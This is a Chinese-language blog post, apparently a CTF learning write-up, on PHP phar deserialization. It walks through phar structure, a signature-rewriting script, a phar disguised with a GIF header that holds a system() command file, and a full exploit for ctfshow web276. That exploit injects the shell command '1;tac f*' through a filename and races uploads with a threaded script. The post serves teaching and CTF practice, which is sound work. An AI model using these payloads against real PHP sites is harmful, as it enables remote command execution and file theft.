浅析phar反序列化

baozongwi Lv5

0x01 前言

之前在学习php反序列化的时候难免会遇到phar文件的反序列化来恶意载入马,但是始终难以理解这样的姿势,现在再去看,貌似也释然了,这个常用姿势,拿下(以后拿ezphp来骗我也不怕啦)

0x02 question

概念

PHAR 文件(PHP Archive)是一种用于将多个 PHP 文件和其他资源(如图片、配置文件等)打包成一个单一文件的归档格式,类似于 JAR 文件在 Java 中的功能。PHAR 文件通常用于分发 PHP 应用程序或库,因为它简化了部署,允许将整个项目封装在一个文件中,而不是多个独立文件。相当于是一个文件夹里面可存放多个php文件,并且是不需要解压的,只不过在web中需要用到phar协议来进行解析

结构

a stub (文件头)

a manifest describing the contents (压缩文件信息)

the file contents (压缩文件内容)

[optional] a signature for verifying Phar integrity (phar file format only) (签名)

stub

也就是一个标志吧,格式为

1
xxx<?php xxx; __HALT_COMPILER();?>

php语句前面的内容不限,但是语句中必须要有__HALT_COMPILER(),否则phar扩展将无法识别这个文件为phar文件

manifest

phar文件本质上是一种压缩文件,其中每个被压缩文件的路径、大小、权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

meta-data

meta-data:这是 PHAR 文件的一个特殊功能,允许用户将任意数据存储为文件的元数据,并将其序列化后保存在 Manifest 中。

Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作。

contents

被压缩文件的内容,比如一句话?:D)

signature

1

当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名

EXP

1
2
3
4
5
6
7
8
from hashlib import sha1
with open('test.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件

配置php.ini

或许你自己学习之后兴高采烈的开始了这里的舒坦的时候,诶发现,这怎么生成不了文件在当前目录呢,我们仅仅只是需要修改一个配置就可以了

打开php.ini找到

1
2
3
[Phar]
; http://php.net/phar.readonly
;phar.readonly = On

;意味着这一行其实是被注释了的,我们把;删掉改成

1
2
3
[Phar]
; http://php.net/phar.readonly
phar.readonly = Off

就可以生成phar文件了

受影响函数列表

受影响函数列表
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

demo1

这里我们自己写一个最简单的来尝试一下,并且利用010看看底层数据信息

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Hello{
public $name='bao';
}
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering(); //开缓冲
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
$o=new Hello();
$phar->setMetadata($o);
$phar->addFromString("m.php","<?=system('dir');?>"); //写入m.php
$phar->stopBuffering(); //关缓冲
?>

2

嗯确实是序列化存储的,并且也都验证了之前所说的结构,同时来包含试试看

1
2
3
4
5
6
7
8
9
<?php
include('phar://phar.phar');
class Hello{
public function __destruct(){
echo $this->name;
}
}
$phar = new Phar('phar.phar');
?>

成功了GIF89abao

1
2
3
4
<?php
// 包含并执行 PHAR 文件中的 m.php 文件
include('phar://phar.phar/m.php');
?>

这样的话也成功执行了命令,那么本身我们就有图片头我们能不能不写phar来绕过呢

没错很简单,经过我的测试,由于有图片头,所以直接改文件后缀即可包含

1
2
3
4
<?php
// 包含并执行 PHAR 文件中的 m.php 文件
include('phar://phar.jpg/m.php');
?>

demo2

ctfshow_web276,这道题我可是等了好久,终于能打了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

where is flag?

有个unlink而且没有unserialize,还有写入文件,那么肯定是phar文件的利用了

利用点这个有个system,我们直接用;,然后就可以执行命令了

不多说直接生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class filter{
//public $filename='1;ls';
public $filename='1;tac f*';
public $filecontent='';
public $evilfile=true;
public $admin = true;
}
@unlink("phar.phar");
$phar=new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$o=new filter();
$phar->setMetadata($o);
$phar->addFromString('test.txt','test');
$phar->stopBuffering();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import threading

url="http://dd9d543e-beb7-4628-b01b-7f0490c24cb9.challenge.ctf.show/"
data=open('./phar.phar','rb').read()
target=True

def write():
requests.post(url=url+"?fn=phar.phar",data=data)

def unserialize():
global target
r=requests.get(url=url+"?fn=phar://phar.phar")
# if "php" in r.text and target:
if "ctfshow{" in r.text and target:
print(r.text)
target=False

while target:
threading.Thread(target=write).start()
threading.Thread(target=unserialize).start()

当然也可以写木马,改一下脚本就可以了

demo3

[SUCTF 2019]Upload Labs 2

这里还要配合原生类soapclient

打开php.ini,

1
extension=soap

这里写出来不要注释了,就是把前面分号删除

demo4

[RoarCTF 2019]PHPShe

demo5

[GXYCTF2019]BabysqliV3.0

  • Title: 浅析phar反序列化
  • Author: baozongwi
  • Created at : 2024-09-05 19:28:03
  • Updated at : 2024-10-04 16:31:15
  • Link: https://baozongwi.xyz/2024/09/05/浅析phar反序列化/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments